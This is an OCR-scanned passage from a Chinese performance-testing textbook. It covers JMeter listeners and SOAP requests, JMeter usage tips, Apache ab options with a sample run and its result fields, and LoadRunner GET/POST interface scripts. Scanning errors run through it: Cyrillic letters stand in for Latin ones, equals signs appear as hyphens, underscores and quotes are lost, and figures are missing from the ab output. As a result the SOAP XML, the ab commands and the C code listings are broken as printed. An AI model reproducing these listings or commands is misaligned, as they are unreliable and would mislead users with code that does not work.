创建 完成 测试 用 例 之 后 ， 就 可 以 创建 监听 器 查看 结果 数据。 


右 击 “测试 计划 ”， 在 弹出 的 菜单 中 依次 选择 “添加 ”一 “监听 器 ”一 “查看 结果 树 ”， 完 成 对 监听 器 的 添加 。 “查看 树 结果 ”监听 器 可 以 看 到 每 一 次 请 求 的 详细 信息 ， 包 括 SQL 语 句 、 参 数 的 内 容 、 
响应 的 结果 、 相 应 的 时 间 等 。 建 议 在 调试 脚本 的 时 候 ， 首 先 添加 “查看 结果 树 ” ， 以 查看 脚本 发 送 的 请 求 是 否 成 功 ， 如 果 不 成 功 ， 则 可 以 通过 该 监听 器 查看 返回 内 容 ， 从 而 查找 错误 原 


脚本 通过 添加 “查看 结果 树 ” 监 听 器 调试 无 误 后 ， 就 添加 Aggregate Graph 进行 场景 的 运行 。 具 体 步 骤 为 右 击 “ 测 试 计 划 ”， 在 弹出 的 菜单 中 依次 选择 “添加 ”一 “监听 器 ”一 Aggregate Graph, с 
成 对 Aggregte Graph 监听 器 的 添加 。 运 行 一 段 时 间 性 能 测试 场景 后 ， 就 可 以 在 Aggregate Graph 监听 器 里 查看 总 体 的 运行 情况 ， 包 括 平 均 响 应 时 间 、 知 度量、 错误 率 等 。 


55 JMeter SOAP 脚 本 实战 


JMeter 可 以 用 来 很 方便 地 对 SOAP (包括 LoadRunner 中 的 Web Service) 协议 进行 测试 。 


SOAP 使 用 RPC (远程 过 程 调 用 ) 和 消息 传递 来 建立 通信 服务 ，SOAP RPC 定 义 了 用 于 表示 远程 过 程 调用 和 应 答 的 协议 。SOAP 协 议 本 身 仅仅 定义 了 消息 的 交换 结构 ， 它 可 以 和 许多 现存 Internet 协 议 结 
合 在 一 起 使 用 ， 其 中 包括 超 文本 传输 协议 (HTTP) 、 多 用 途 网际 邮 件 扩充 协议 (MIME) 、Java 消 息 服务 (JMS) 以 及 简单 邮件 传输 协议 (SMTP) =, 


根据 JMS 的 规范 ， 消 息 交 换 有 两 种 方式 : 消息 发 布 /订阅 方式 和 点 对 点 方式 。 由 这 两 种 交换 方式 所 建立 的 消息 收发 系统 都 是 异步 的 ， 即 JMS 客 户 机 可 以 发 送 消 息 而 不 必 等 待 回应 。JMeter 同 样 提供 了 两 种 
sampler 分 别 建立 对 这 两 种 服务 的 调用 : SOAP/XML-RPC Кедиеѕ М5 Point-to-Point。 前 者 使 用 互联 网 中 最 为 广泛 的 超 文本 传输 协议 (HTTP) ， 而 后 者 使 用 JMS 协 议 ，JMS 是 Java 平 台面 向 消息 中 间 
件 的 技术 规范 ， 用 它 来 提供 创建 、 发 送 、 接 收 、 读 取消 息 的 服务 。 


JMS Sender 


Queue/ 
Topic 
Engine 


Request 


HTTP Sender ) 


图 5-22 JMetet 框 架 基 于 不 同 协议 时 ， 对 SOAP 消 息 的 调用 机 制 流程 


JMeter 测 试 SAOP 的 方法 很 简单 ， 右 击 “ 测 试 计 划 ” ， 在 弹出 的 菜单 中 依次 选择 “添加 ”一 Threads (Users) 一 “线程 组 ” ， 然 后 在 线程 组 下 添加 SOAP 请 求 器 ， 右 击 “ 线 程 组 ” ， 在 弹出 的 菜单 中 依 
次 选择 “添加 ”一 Sampler 一 SOAP/XML-RPC Request， 这 样 就 能 形成 简单 的 SOAP 请 求 测试 用 例 ( 见 图 5-23) ， 这 里 小 白 用 邮政 编码 的 Web Service 的 getAddressByZipCode 接 口 进行 测试 ， 邮 政 编码 
Web service 地 址 为 : http://www.webxml.com.cn/WebServices/ChinaZipSearchWebService.asmx。 
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5-23 JMeter 测 斌 SOAP 测 试 
- URL: 邮政 编码 的 Web Service URL 地 址 。 
· Send SOAPAction: SOAP 请 求 的 目的 地 ， 这 里 填写 是 http://WebXml.com.cn/getAddressByZipCode， 其 实 就 是 接口 的 URL 地 址 。 
Use KeepAlive: 是 否 开 启 KeepAlive 机 制 ，KeepAlive 的 作用 可 以 参考 5.4 节 的 JDBC 脚 本 实战 中 关于 KeepAlive 的 解释 。 


: SOAP/XML-RPC Date: 请 求 的 主体 数据 ， 请 求 内 容 如 下 。 


<ѕоарепу: Envelope xmlns: soapenv-"http: //schemas.xmlsoap.org/soap/envelope/"  xmlns: web-"http: //WebXml.com.cn/^» 
<ѕоарепу: Header/» 


«soapenv: Body» 
«web: getAddressByZipCode» 


<! --Optional: --> 
«web: theZipCode»100011«/web: thezipCode» 
<! --Optional: --> 


«web: userID»«/web: userID» 
</мер: getAddressByZipCode» 
«/soapenv: Body» 

«/soapenv: Envelope» 


添加 “查看 结果 树 ”后 ， 运 行 脚本 ， 则 在 “查看 结果 树 ”中 可 以 看 到 响应 数据 中 返回 的 邮编 100011 适 用 的 各 地 区 的 地 址 。 
对 于 刚 接触 SAOP 请 求 的 人 来 说 ， 可 能 不 知道 SOAP 请 求 以 及 SOAPAction 怎 么 填写 ， 在 这 里 可 以 用 SaopUI 工 具 快速 方便 地 获取 这 些 信息 。 


SaopUl 是 一 款 针对 SOAP 的 功能 /性 能 测试 工具 ， 分 为 开源 以 及 商业 版 本 ， 下 载 地 址 为 http://www.soapui.org/， 下 载 开源 版 本 即 可 。 


打开 SoapUl， 在 菜单 中 依次 选择 File 一 new soapUI Project， 在 弹出 的 界面 中 输入 Project NamelllšrInitial WSDL/WADL (输入 天 气 预报 的 URL 地 
址 http://webservice.webxml.com.cn/WebServices/WeatherWS.asmx?wsdl) ， 完 成 之 后 单 击 OK 按 钮 。 


完成 之 后 如 图 5-24 所 示 ， 会 看 到 该 Web service 的 接口 以 及 接口 默认 的 请 求 。 图 5-23 中 Request 左 侧 即 SAOP 请 求 的 主体 ， 参 数 初始 化 默认 显示 为 “? ”， 这 些 “? ”就 是 接口 参数 ， 改 成 需要 测试 的 数 
值 即 可 ，Request 右 侧 为 Response 结 果 。 


将 SoapUl 请 求 主体 复制 到 JMeter 的 SOAP/XML-RPC Date 中 形成 JMeter SOAP 脚 本 的 请 求 主体 。 


然后 查看 SoapUl 请 求 中 的 Raw 视 图 ， 找 到 RAW 视 图 中 的 SOAPAction 值 。 例 如 ， 这 个 天 气 预报 的 SOAPAction 值 为 http://WebXml.com.cn/getRegionCountry。 将 该 SOAPAction 的 内 容 复制 到 图 5- 
23 所 示 JMeter SAOP 脚 本 中 的 Send SOAPAction 中 ， 这 样 整个 JjMeter 中 的 SOAP 测 试用 例 就 形成 了 。 
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5-24 ”SoapUI 请 求 界 面 


[] 任意 填写 ， 与 项 目 相关 即 可 。 


5.6 ” JMeter 使 用 注意 


1) JMeter 2.11 支 持 JDK 1.6 以 上 版 本 ， 如 果 发 现 无 法 打开 JMeter， 就 先 检查 是 否 JDK 版 本 不 正确 。 
2) 为 了 保证 测试 数据 尽 可 能 准确 ， 尽 量 使 用 非 GUI 进 行 测试 ， 如 使 用 JMeter-n-t testjmx-| testjjtl 来 测试 。 
3) 尽 可 能 少 使 用 监听 器 ， 因 为 过 多 的 监听 器 会 消耗 更 多 的 系统 资源 。 


4) 尽量 把 相似 的 取样 器 放 在 循环 内 ， 使 用 变量 (CSV Data Set Config) 修改 这 些 Sampler， 而 不 是 重复 添加 Sampler。 或 者 可 能 会 用 到 Access Log Sampler (在 这 里 不 能 使 用 Include Controller, 
因为 它 会 将 指定 文件 中 的 所 有 测试 元 件 直接 添加 到 测试 计划 中 ) 。 


5) 不 要 使 用 函数 测试 模式 (Functional Mode) 。 

6) 以 CSV 格 式 输出 测试 结果 ， 尽 量 不 要 使 用 XML 格式 ， 因 为 CSV 更 节约 系统 资源 。 

7) 如 果 需 要 保持 测试 数据 结果 ， 则 仅 保 存 需要 的 数据 ， 这 样 会 节约 系统 资源 。 

8) 断言 最 好 在 调试 脚本 时 使 用 ， 在 运行 测试 场景 时 应 该 禁用 断言 ， 这 样 的 测试 结果 会 更 准确 。 

9) 负载 测试 期 间 不 要 使 用 “查看 结果 树 ” 和 “用 表格 查看 结果 ”监听 器 ， 这 两 个 监听 器 最 好 只 在 调试 脚本 时 使 用 。 


10) 如 果 测 试 需要 大 量 数据 (特别 是 随机 产生 的 数据 ) ， 则 可 以 提前 准备 好 测试 数据 放 到 数据 文件 中 ， 以 CSV Data Set Config 方 式 读 取 ， 这 样 就 能 避免 在 测试 运行 阶段 创建 这 些 数据 ， 从 而 浪费 资 
源 。 


11) 大 并 发 量 的 负载 测试 ， 尽 量 在 多 台 机 器 上 运行 多 个 非 GUI JMeter 实 例 ， 进 行 分 布 式 测试 。 


12) 如 果 测 试 过 程 中 报 内 存 不 足 ， 则 在 JMeter 的 bin 目 录 下 找到 JMeter 的 启动 文件 JMeter.bat (在 Linux 下 是 JMeter.sh) ， 打 开 该 文件 并 修改 该 文件 中 的 JVM 内 存 设置 。 例 如 ，JVM 内 存 修改 为 : 
HEAP="-Xms512m-Xmx512m"， 最 大 堆 内 存 与 最 小 堆 内 存 保持 一 致 ， 这 样 可 以 减 小 频繁 申请 创建 、 销 毁 内 存 引 起 的 性 能 损耗 开销 。 


13) 在 测试 SOAP 协 议 并 使 用 SoapUI 时 ，Windows 64 位 操作 系统 如 果 报 出 类 似 “Error loading[http://www.webxml.com.cn/WebServices/WeatherWebService.asmx? 
wsdl]:org.apache.xmlbeans.XmlException:java.io.CharConversionException:Characters larger than 4 bytes are not supported:byte Oxb1 implies a length of more than 4 bytes" 这 样 的 错误 ， 


则 在 SoapUl 的 安装 路 径 下 找到 vmoptions 文 件 ， 在 末尾 加 入 “-Dfile.encoding=UTF8” 便 可 解决 该 问题 。 


57 本章 小 结 


本 章 只 介绍 了 JMeter 的 基础 用 法 ， 大 家 会 发 现在 使 用 Meter 做 一 些 协 议 的 性 能 测试 时 会 特别 方便 ， 特 别 是 对 数据 库 进 行 测试 。 


在 这 里 ， 小 白 推 荐 大 家 多 多 接触 一 些 开源 的 性 能 测试 工具 ， 一 方面 因为 开源 是 之 后 的 趋势 (就 像 互联 网 公司 数据 库 都 纷纷 从 Oracle 转 到 MySQL 一 样 ) ， 另 一 方面 也 是 希望 希望 大 家 跳出 loadrunner 这 
个 测试 工具 ， 更 多 地 接触 到 性 能 测试 的 思想 ， 更 多 地 接触 到 代码 层级 的 一 些 知识 ， 为 以 后 技术 提升 以 及 性 能 测试 体系 打下 坚实 的 基础 。 


Эбет ”开源 性 能 测试 工具 Apache ab 快速 入 门 


在 小 白 学 习性 能 测试 的 过 程 中 ， 有 一 次 把 Loadrunner 中 的 测试 结果 发 给 开发 人 员 后 ， 开 发 反馈 说 他 们 测试 的 TPS 值 比 小 白 测试 的 TPS 值 要 高 出 很 多 ， 开 发 怀疑 小 白 测试 数据 的 正确 性 ， 小 日 一 阵 着 急 ， 
但 冷静 下 来 后 ， 通 过 与 开发 人 员 沟 通 ， 发 现 开发 使 用 Apache ab 进 行 的 自 测 ， 且 测试 是 在 Linux 平 台 下 进行 的 。 小 白 为 了 和 弄 清楚 这 中 间 测 试 结果 差异 的 原因 ， 开 始 接 触 Apache ab. 


6.1 Apache ab 安 装 使 用 


Apache ab 是 著名 的 Web 服 务 器 软件 Apache 附 带 的 一 个 小 工具 ， 它 可 以 同时 模拟 多 个 并 发 请 求 ， 测 试 Apache 等 Web 服 务 器 的 最 大 承载 压力 ，Apache 的 下 载 地 址 为 http://tomcat.apache.org/, 在 
Linux 下 可 以 直接 用 yum 安 装 ， 在 Linux 下 使 用 yum 的 安装 命令 为 : yum install httpd， 安 装 完成 后 ， 在 Apache 的 bin 目 录 下 即 可 找到 ab。 


测试 否 正确 安装 ab 工具 ， 在 bin 目 录 下 输入 Nab-V 命 令 ， 如 果 安 装 正确 ， 则 会 将 其 版 本 信息 打印 出 来 ， 如 下 所 示 : 


ab -V 

This is ApacheBench, Version 2.0.40-dev <$Revision: 1.146 $> apache-2.0 
Copyright 1996 Adam Twiss, Zeus Technology Ltd. http: //www.zeustech.net/ 
Copyright 2006 The Apache Software Foundation. http: //www.apache.org/ 


6.2 Apache ab 快速 入 门 


Apche ab 的 基本 用 法 是 ./ab[options]URL， 其 中 常见 参数 如 下 。 


сс: 表示 并 发 用 户 数 ， 并 发 用 户 数 不 能 大 于 请 求 总 数 ， 否 则 会 报错 Cannot use concurrency level greater than total number of requests。 

URL: 表示 请 求 的 目标 URL， 注 意 必须 在 后 方 加 上 “/”， 或 指定 相应 文件 。 

ч: 测试 的 最 大 时 间 ， 单 位 为 ， 上 默认 隐藏 为 50000。 

ovi 显示 信息 的 详细 程度 。-4 或 更 大 值 会 显示 头 信息 ，3 或 更 大 值 可 以 显示 响应 代码 (404，200 等 ) ，2 或 更 大 值 可 以 显示 警告 和 其 他 信息 。 
р: 配合 - 工 使 用 ， 表 示 包 含 了 需要 POST 数据 的 文件 ， 文 件 格式 如 “pl1=1&p2=2”， 使 用 方法 是 -p 111.txt。 

:-T: POST 数 据 所 使 用 的 Content-type 头 信息 ， 如 -T “application/x-www-form-urlencoded” o 

(ow: 以 HTML 表 的 格式 输出 结果 。 

(d: 执行 HEAD 请 求 ， 而 不 是 GET。 


: -C: cookie-name 二 value 对 请 求 附加 一 个 Cookie 行 。 其 典型 形式 是 name 二 value 的 一 个 参数 对 。 此 参数 可 以 重复 ， 用 过 号 分 隔 。 可 以 借助 session 实 现 原 理 传递 JSESSIONID 参 数 ， 实 现 保持 会 话 的 功能 ， 如 - 
С “cl=1234, c2=2, с3=3, JSESSIONID-FF056CD16DA9D71CB131C1D56F0319F8" , 


: -P: broxy-auth-usetname:passwotd 对 一 个 中 转 代 理 提 供 BASIC 认 证 信任 。 用 户 名 和 密码 由 一 个 “:” 隔 开 ， 并 以 Base64 编 码 形式 发 送 。 无 论 服务 器 是 否 需要 ( 即 是 否 发 送 了 401 认 证 需求 代码 ) ， 此 字符 串 
都 会 被 发 送 。 


虽然 参数 很 多 ， 但 是 测试 最 常用 的 参数 为 为 -n 和 -c， 如 ./ab-c 1000-n 100 http://127.0.0.1/index.php. 


6.3 Apache ab 实战 


用 Apache ab 来 测试 一 下 安 大 叔 的 博客 首页 ， 在 Apache 的 bin 目 录 下 输入 命令 : ./ab-n1000-c10 http:/Wandashu.blog.51cto.com/， 人 小 白 用 10 个 并 发 总 共 执 行 1000 次 进行 测试 ， 测 试 结 果 如 下 。 


Server Software: Apache /2 .2.21 
Server Hostname: andashu.blog.51cto.com 
Server Port: 80 
Document Path: / 
Document Length: 211 bytes 
Concurrency Level: 10 
Time taken for tests: 0.496 seconds 
Complete requests: 1000 
Failed requests: 0 
Write errors: 0 
Non-2xx responses: 1000 
Total transferred: 400000 bytes 
HTML transferred: 211000 bytes 
Requests per second: 2015.93 [ #/ѕес] (mean) 
Time per request: 4.960 [ms] (mean) 
Time per request: 0.496 [ms] (mean, across all concurrent requests) 
Transfer rate: 787.47 [Kbytes /sec ] received 
Connection Times (ms) 
min mean[-* /-sd ] median max 
Connect: 0 0 0.4 0 1 
Processing: 2 5 Lad 4 12 
Waiting: 2 4 1.1 4 12 
Total: 2 5 Ted 5 12 
Percentage of the requests served within a certain time (ms) 
50% 
66% 5 
75% 5 
80% 6 
90% 6 
7 
8 
9 
2 


95% 
98% 
99% 


100% 12 (longest request) 


以 下 是 对 测试 结果 的 解释 。 


· Server Software: 被 测试 的 Web 服 务 器 软件 名 称 。 


: Server Hostname: 请 求 的 URL 主 机 名 。 


- Server Port: 被 测试 的 Web 服 务 器 软件 的 监听 端口 。 

: Document Path: 请 求 的 URL 中 的 根 绝对 路 径 ， 通 过 该 文件 的 后 缓 名， 一般 可 以 了 解 该 请 求 的 类 型 。 
: Document Length: HTITP 响 应 数据 的 正文 长 度 。 

· Concurrency Level: 并 发 用 户 数 ， 与 测试 设置 的 并 发 用 户 数 保持 一 致 。 

: Time taken for tests: 所 有 这 些 请 求 处 理 完成 所 花费 的 总 时 间 。 

: Complete requests: 测试 成 功 请 求 次 数 。 


: Failed requests: 测试 失败 的 请 求 数量 ， 这 里 的 失败 是 指 请 求 在 连接 服务 器 、 发 送 数据 等 环节 发 生 异 常 ， 以 及 无 响应 后 超时 的 情况 。 如 果 接 收 到 的 HITTP 响 应 数据 的 头 信息 中 含有 2xx 以 外 的 状态 码 ， 则 


会 在 测试 结果 中 显示 另 一 个 名 为 “Non-2xx responses” 的 统计 项 ， 用 于 统计 这 部 分 请 求 数 ， 这 些 请 求 并 不 算 在 失败 的 请 求 中 。 


: Total transferred: 测试 过 程 中 所 有 请 求 的 响应 数据 长 度 总 和 ， 包 括 每 个 HTTP 响应 数据 的 头 信息 和 正文 数据 的 长 度 。 注 意 这 里 不 包括 HTTP 请 求 数 据 的 长 度 ， 仅 仅 为 Web 服 务 器 流向 用 户 PC 的 应 用 层 数据 


: HTML transferred: 所 有 请 求 的 响应 数据 中 正文 数据 的 总 和 ， 也 就 是 减 去 了 Total ttansfetted 中 HTTP 响 应 数据 中 的 头 信息 的 长 度 。 
: Requests per second: 吞吐 率 ， 计 算 公 式 为 Complete requests/Time taken for tests， 相 当 于 loadrunnet 中 的 TPS (每 秒 事 务 数 ) 。 
: Time рег tequest 用 户 平均 请 求 等 待 时 间 ， 计 算 公 式 为 Time token for tests/ (Complete requests/Concurrency Level) ， 相 当 于 loadrunnet 中 的 平均 事务 响应 时 间 。 


: Time per requet (across all concurrent request). : 服务 器 平均 请 求 等待 时 间 ， 计算 公式 为 Time taken for tests/Complete tequests， 正 好 是 吞吐 率 的 倒数 。 也 可 以 这 么 统计 : Time per request/Concurrency 


Level。 
- Transfer rate: 请 求 在 单位 时 间 内 从 服务 器 获取 的 数据 长 度 ， 计 算 公 式 为 Total trnasferred/Time taken for tests， 这 个 统计 很 好 地 说 明 服 务 器 的 处 理 能 力 达 到 极限 时 ， 其 出 口 宽带 的 需求 量 。 
· Connection Times (ms) : 其 中 min (最 小 值 ) ~ mean (平均 值 ) 、[+/-sd] (方差 ) median (中 位 数 ) + max (最 大 值 ) o 
Connect: socket 链 路 建立 消耗 ， 代 表 网 络 状况 好 坏 。 
+ Processing: 写 入 缓冲 区 消耗 + 链 路 消耗 + 服务 端 消耗 。 
. Waiting: 写 入 缓冲 区 消耗 + 链 路 消耗 + 服务 端 消耗 + 读 取 数 据 消 耗 。 
: Total: 单个 事务 总 时 间 。 


* Percentage of requests served within a certain time (ms) : 这 部 分 数据 用 于 描述 每 个 请 求 处理 时 间 的 分 布 情况 。 例 如 ， 以 上 测试 ，80% 的 请 求 处 理 时 间 都 不 超过 6ms， 这 个 处 理 时 间 是 指 前 面 的 Time рег 
fedquest， 即 对 于 单个 用 户 而 言 ， 平 均 每 个 请 求 的 处 理 时 间 。 


上 面 的 测试 结果 表明 ， 在 10 个 并 发 情况 下 ， 访 问安 大 叔 博 客 的 响应 时 间 都 在 12ms 以 下 。 可 以 根据 以 上 测试 数据 ， 设 定 一 个 测试 目标 ， 比 如 要 求 99% 的 响应 时 间 在 2ms 内 ， 就 可 以 设 定 不 同 的 并 发 用 户 数 
进行 测试 ， 从 而 测试 出 最 终 满足 结果 的 并 发 数 。 


64 Apache ab 总 结 注意 事项 


虽然 Apache ab 使 用 起 来 很 简单 ， 但 是 它 也 有 自己 本 身 的 限制 。 


1) Apache ab 判断 成 功 与 否 只 是 判断 2xx 响 应 代码 ， 不 接收 服务 器 的 返回 值 ， 但 是 LoadRunner 要 完整 的 接收 服务 器 的 返回 值 ， 所 以 在 同样 的 响应 时 间 下 ，Apache ab 测试 支持 的 并 发 数 会 大 于 
LoadRunner，TPS 值 也 响应 的 会 比 LoadRunner 大 。 


2) Apache ab 在 运行 的 测试 的 并 发 数 与 Apache ab 所 运行 机 器 的 CPU 颗粒 数 有 很 大 关系 ，CPU 颗 粒 数 越 大 ， 测 试 结果 所 支持 的 并 发 数 越 大 。 


3) Apache ab 适合 测试 HTTP 协 议 的 一 个 URL 连 接 的 并 发 ， 特 别 是 Web 系 统 的 首页 ，Apache ab 也 可 以 进行 参数 传递 ， 一 样 也 能 实现 传递 一 个 用 户 名 和 密码 这 带 参数 传递 请 求 的 性 能 测试 。 对 于 复杂 场 
景 还 是 建议 用 LoadRunner 或 者 JMeter， 因 为 GUI 的 工具 操作 跟 入 门 会 方便 很 多 。 


4) 对 于 简单 的 测试 ， 如 一 个 接口 测试 ， 可 以 选用 Apache ab 快速 进行 测试 ， 而 不 用 去 采用 LoadRunner 这 种 庞大 的 商业 测试 工具 ，Apache ab 的 测试 结果 数据 基本 满足 测试 结果 数据 的 要 求 ， 像 
LoadRunner 的 结果 数据 虽然 非常 多 ， 但 是 很 多 都 不 会 用 到 ， 最 常用 的 也 就 是 响应 时 间 、TPS、 事 务 成 功率 、 吞 吐 量 ， 这 些 Apache ab 结果 中 也 能 体现 。 


到 这 里 小 白 完 全 理解 了 为 什么 开 必 人 员 在 Linux 测 试 的 TPs 值 比 自己 在 Windows 用 LoadRunner 测 试 的 TPs 值 高 的 原因 了 : 一 是 因为 Apache ab 不 接收 服务 器 的 返回 值 ， 所 以 响应 以 及 网 络 带宽 上 会 占用 
优势 ; 二 是 因为 开 友 人 员 在 Linux 下 进行 测试 ， 而 且 用 的 是 24 颗 CPU 的 实体 机 进行 测试 ， 远 远 比 小 白 Windows 的 双核 CPU 强力 很 多 。 


65 ”本章 小 结 


本 章 只 介绍 了 Apache AB 的 基础 用 法 ， 在 介绍 过 程 中 ， 大 家 可 以 发 现 AB 十 分 适用 于 那些 大 并 发 量 的 测试 。 

AB 不 仪 可 以 不 带 参 数 而 直接 跟 一 个 URL， 也 可 以 进行 参数 传递 测试 。 

比如 测试 一 个 登录 请 求 : http://besttest/login.action?userName=andashu&userPassWord=andashu， 这 时 候 如 果 用 AB 进 行 测试 就 需要 进 场 参 数 传递 用 户 名 与 密码 。 

在 AB 命 同 级 目录 建立 一 个 文件 : andashutest.txt， 在 里 面 写 入 要 传递 的 参数 : userName=andashu&userPassWord=andashu， 指 定 请 求 类 型 为 : application/x-www-form-urlencoded, 


完整 的 AB 命 令 为 : ab-n 110-p andashutest.txt-T application/x-www-form-urlencoded http://besttest/login.action, 


第 7 章 ”最 佳 脚本 开发 实战 


小 白 在 实际 工作 中 经 常会 接触 到 小 型 脚本 的 开发 测试 ， 主 要 是 针对 一 些 接口 以 及 常用 协议 ， 其 实 脚本 的 开发 测试 并 没有 大 家 想 的 那么 复杂 ， 使 用 LoadRunner 完 全 可 以 完成 。 当 然 ， 专 业 点 的 应 该 有 自 
己 的 一 套 测试 框架 ， 不 过 对 于 小 白 来 说 ，LoadRunner 已 经 足够 完成 日 常 的 测试 了 。 


ТЛ 接口 测试 脚本 开 友 实战 


小 日 经 常 接触 到 的 是 GET 和 POST 这 两 种 类 型 的 接口 ， 对 于 GET 接 口 ， 可 以 理解 为 去 服务 器 取 数 据 ， 对 应 LoadRunner 中 的 函数 是 web_url; 对 于 POST 接口 ， 可 以 理解 为 提交 数据 到 服务 器 ， 对 应 
LoadRunner 中 的 函数 是 web submit data 和 web custom _request。 一 般 在 LoadRunner 中 调试 接口 需要 打开 Run-time Settings 中 的 日 志 开 关 ， 并 义 选 Data return by server 选 项 。 


7.4.1 GET 接口 实战 


下 面 以 某 网 站 的 开放 API 为 示例 讲解 GET 接 口 。GET 接 口 描述 如 下 。 

1) 接口 功能 : 验证 账号 (手机 号 码 ) 是 否 可 用 。 

2) URL (示例 ) : http;//api.coomix.net/GetDataService?method- getPhoneNum, 
3) 支持 格式 : JSON, 

4) HTTP 请 求 方式 : СЕТ, 


5) 请 求 参数 : phoneNum 必 选 ，string 类 型 ， 代 表 手 机 号 码 。 


` success: 账号 是 否 可 用 (true 为 可 用 ) o 
"type: 不 可 用 类 型 (double 为 重复 ) 。 
Qi 在 进行 接口 测试 的 时 候 ， 必 备 的 接口 说 明 要 包含 上 述 内 容 ， 如 果 没 有 包括 ， 请 向 相关 人 员 索 取 。 
在 LoadRunner 中 使 用 web_url 函 数 即 可 完成 GET 请 求 ， 请 求 的 参数 跟 在 URL 后 面 。 如 果 想 检查 返回 结果 可 以 通过 添加 检查 点 完成 ， 代 码 如 下 。 


代码 清单 7-1 ”GET 接口 


Action () 


Í 
// 如 果 检 查 到 返回 中 含有 “success”: false， 则 认为 失败 
web reg find (“Text=\”success\"“: false", "Fail-Found", LAST); 
//GETIBSR, ІК) 3XphoneNum L7 13 7313800138000 
web url ("check phoneNumber", 
"URL-http: //api.coomix.net/GetDataService? method-getPhoneNum&phoneNum- 
13800138000", 

"RecContentType-text/html", 

“Mode=HTML”, 

LAST ); 
Return 0; 


} 


7.1.2 ” POST 接口 实战 


下 面 以 某 网 站 的 开放 API 为 示例 讲解 POST 接 口 。 示 例 POST 接 口 描述 如 下 。 

1) 接口 功能 : 登录 。 

2) URL (示例 ) : http://api.coomix.net/GetDataService?method- weblogin, 
3) 支持 格式 : JSON, 

4) HTTP 请 求 方式 : POST。 

5) 请 求 参 数 : 

:userfID 必 选 ，stting 类 型 ， 代 表 手 机 号 、 账 号 ; 

| pwd 必 选 ，numbetr 类 型 ， 代 表 账 号 密码 。 


6) 返回 参数 : 


v 


. userID: 用 户 ID， 

.userName: 用 户 昵称 ; 

' Success: 操作 是 否 成 功 (true 表 示 成 功 ，false 表 示 失 败 ) ; 

. type: 错误 类 型 (pwd 表示 用 户 密码 不 正确 ，userID 表 示 账 号 不 存在 ) 。 

在 LoadRunner 中 完成 POST 请 求 可 以 使 用 函数 web_submit_data 和 web_custom _request 完 成 ， 只 需 把 对 应 的 参数 放 入 ITEMDATA 中 即 可 ， 如 代码 清单 7-2 和 代码 清单 7-3 所 示 。 


代码 清单 7-2 ”POST 接口 (1) 


Action () 


{ 
web reg find ("Text=NV”successN": false", "Fail-Found", LAST); 

web submit data ("login", 

"Action-http: //api.coomix.net/GetDataService? method-weblogin", 
"Method-POST", 

"RecContentType-text/html", 

"Mode-HTML.", 


TEMDATA, 
"Name-userID", "Value-besttest", ENDITEM, // 请 求 参数 用 户 名 
"Name-pwd", “Value=123123”， ENDITEM, // 请 求 参数 密码 
LAST ) ; 
Return 0; 


} 


代码 清单 7-3 ”POST 接口 (2) 


Action О) 

{ 

web custom request ("login", 

"Method-POST", 

"URL-http: //api.coomix.net/GetDataService? method-weblogin", 

"Body-userlD-besttest&pwd-123123", // 请 求 的 参数 拼接 在 Body 中 即 可 
LAST ) ; 

Return 0; 


} 


扩展 一 下 知识 ， 可 以 利用 web get int property 函 数 来 获取 HTTP 状 态 码 ， 有 具体 用 法 可 以 查看 LoadRunner 的 “利器 ”函数 帮助 手册 。 


完成 上 面 两 个 实战 后 ， 小 白 终于 明白 原来 接口 性 能 测试 可 以 这 么 做 。 其 实录 制 业务 产生 的 脚本 也 可 以 简单 地 理解 为 是 由 多 个 接口 拼接 在 一 起 组 成 的 ， 所 以 像 参数 化 等 技术 都 可 以 在 接口 测试 中 使 用 。 


7.1.3 使 用 oadRunner 完 成 接口 功能 自动 化 测试 


很 多 人 一 直觉 得 LoadRunner 是 性 能 测试 工具 ， 其 实 不 然 。 一 个 好 的 工具 只 有 用 对 了 ， 才 能 发 挥 威力 。 不 然 就 算 给 你 一 把 “ 履 龙 刀 ”， 还 是 当 菜刀 用 。 


下 面 和 小 白 一 起 研究 LoadRunner 如 何 完 成 接口 功能 的 自动 化 测试 。 大 致 思路 是 : 从 参数 化 文件 中 读 取 测试 数据 和 预期 结果 ， 并 与 服务 器 产生 交互 ， 得 到 服务 器 返回 后 与 预期 的 结果 对 比 ， 将 结果 写 入 
HTML 报 告 中 。 有 了 这 个 思路 后 就 可 以 开始 编写 代码 了 。 初 始 化 的 工作 可 以 放 到 vuser_init 中 ， 如 代码 清单 7-4 所 示 。 


代码 清单 7-4 ”接口 功能 自动 化 (1) 


long file; 
char *vusernum; 
char t result[1024]; 
Vuser init 0) 
{ 
// 获 取 编号 
vusernum-lr eval string ("` (vuserid)”); 
// 获 取 系 统 时 间 
lr save datetime ("$Y$m$d$H$M$S", РАТЕ NOW, “пом date”); 
// 和 拼接 测试 结果 文件 名 称 


strcpy (t result, "d: //result/test") ; 

strcat (t result. lr eval string (` (now date]") ) ; 
strcat (t result, vusernum) ; — 

strcat (t result, “.html”) ; 


// 生 成 并 打开 测试 结果 文件 

file-fopen (t result, “аі+”) ; 

// 写 入 测试 文件 天 部 html 信 息 

strcpy (t result, "«html»«table border="1’><tr>< tgd> 描 述 </td><td> 预 期 结果 </td><tq> 
实际 结果 </td><td>Y/N</tqd></tr>”) ; 

fputs СУ Result, Ё11е); 

return 0; 


和 服务 器 的 数据 交互 以 及 判断 需要 在 Action 中 编写 代码 完成 ， 如 代码 清单 7-5 所 示 。 


代码 清单 7-5 ”接口 功能 自动 化 (2) 


Action О) 
{ 
char is pass[1024]; 
int result; 
char *para-lr eval string ("{ 参 数 名 }”) ; 
web set max html param len ("20000") ; 
// 取 得 服务 器 返回 内 容 
web reg save param ("filecontent", 
“1 B=”, 
"RB-", 
"Search-Body", 
LAST) ; 
// 发 送 请 求 
web submit data ("login", 
"Action-URLJHüdE", 
"Method-POST", 
RecContentType-text/html", 
Referer-", 
Snapshot-t9.inf", 
"Mode-HTTP", 


TEMDATA, 
"Name-2Zl4", “Value= 参 数值 "， ЕМРІТЕМ, 
LAST) ; 


// 比 较 预 结果 和 实际 结果 
result-strcmp (lr eval string (\{ 预 期 结果 }”) ， 
lr eval string ("(filecontent]") ) ; 
if (result == 0) 
{ 


strcpy (is pass, “ШЧ”); 
} 


else 


{ 
strcpy (is _pass，\ 失 败 “) ; 


) 

// 写 入 测试 参数 

strcpy (t result, "«tr»«td»") ; 

strcat (t result, para) ; 

strcat (t result, "«/td»") ; 

// 写 入 预期 结果 

strcat (t result, "«td id-'yq'»") ; 

strcat (t result, lr eval string (\{ 预 期 结果 }“) ) ， 
strcat (t result, "«/td»") ; 

// 写 入 实际 结果 

strcat (t result, "«td id-'sj'»") ; 

strcat (t result, lr eval string ("(filecontent]") ) ; 
